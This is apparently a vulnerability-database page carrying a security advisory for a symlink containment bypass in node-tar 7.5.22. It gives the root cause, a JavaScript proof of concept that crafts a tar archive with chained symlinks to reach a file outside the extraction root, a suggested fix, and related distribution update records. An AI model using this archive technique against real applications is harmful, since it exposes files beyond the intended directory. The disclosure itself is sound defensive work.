With default preservePaths: false, tar 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by ... The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.

This was reproduced locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.

Root cause

STRIPABSOLUTEPATH accepts a symlink linkpath containing .. if path.posix.normalize(path.posix.join(entryDir, linkpath)) appears to stay inside the extraction root (src/unpack.ts:263-302). Later, SYMLINK derives parts using path.resolve(dirname(entry.absolute), entry.linkpath) (src/unpack.ts:640-659), which also removes b/.. before ENSURE_NO_SYMLINK inspects each component (src/unpack.ts:679-698). LINK then writes the original unsimplified entry.linkpath with fs.symlink (src/unpack.ts:866-880).

For a/b -> ../x and a/c -> b/../.., the lexical check reduces the second target to the extraction root and never checks a/b. Actual filesystem traversal follows a/b to x first and then processes two parent components, ending in the extraction root's parent.

Safe local PoC

Run from a built checkout of 7.5.22:

import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, extract } from 'tar'

const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))
const out = join(parent, 'out')
mkdirSync(out)
writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n')
const block = h => {
  const b = Buffer.alloc(512)
  new Header(h).encode(b)
  return b
}
const input = join(parent, 'input.tar')
writeFileSync(input, Buffer.concat([
  block({ path: 'x/', type: 'Directory', size: 0 }),
  block({ path: 'a/', type: 'Directory', size: 0 }),
  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),
  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),
  Buffer.alloc(1024),
]))

const warnings = []
await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })
console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())
console.log(warnings)
// OUTSIDE MARKER
// []

The marker is outside out; the access passes through a symlink extracted under out. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside out while extracting a subsequent member; its existing path checks may stop such an entry.

Impact and suggested fix

An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.

Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses .. after a symlink component. In particular, inspect the unsimplified components before path.resolve() removes them. Add a regression case with a symlink component followed by .., and assert that the second link is rejected under default options.

Credit goes to GitHub user @mikkel32 as finder/reporter in the published advisory.

Record
GHSA-6wwr-g865-f46r
CVSS 4.0
7.2 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-59
Updated
2026-12-02
OSVCLSA-2026-1773706632No score

TuxCare security update for tar (6 CVEs)

TuxCare rebuilt tar to address 6 CVEs. Fixed in 1.0.3-tuxcare.2.

Record
CLSA-2026-1773706632
Updated
2026-12-04
OSVCLSA-2026-1796209074No score

TuxCare security update for tar (24 CVEs)

TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.22-tuxcare.1.

Record
CLSA-2026-1796209074
Updated
2026-12-04
OSVCLSA-2026-1796224850No score

TuxCare security update for tar (24 CVEs)

TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.21-tuxcare.1.

Record
CLSA-2026-1796224850
Updated
2026-12-02
OSVUBUNTU-CVE-2026-140248No score

(node-tar is a tar archive manipulation library for Node.js. From 7.5.2 ...)

Record
UBUNTU-CVE-2026-140248
Updated
2026-12-03

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Key facts, referencesCVE List
Affected packagesOSV
Affected packages, other IDsOSV
Affected packages, other IDs, published dateOSV
Affected packagesOSV
Affected packages, other IDs, referencesOSV
Affected packagesOSV
Affected packages, referencesOSV
Affected packages, other IDsOSV
Affected packages, other IDs, referencesOSV
Affected packagesOSV
Affected packages, other IDs, references, severityOSV
Published dateEUVD
Affected packages, referencesOSV
Affected packages, key facts, referencesGitHub Advisories
Other IDs, published dateEUVD
Other IDs, referencesOSV
SeverityNVD
First indexedCVE List

Upstream dates may differ.

References

Show 4 more referencesShow less
MoveEnter Open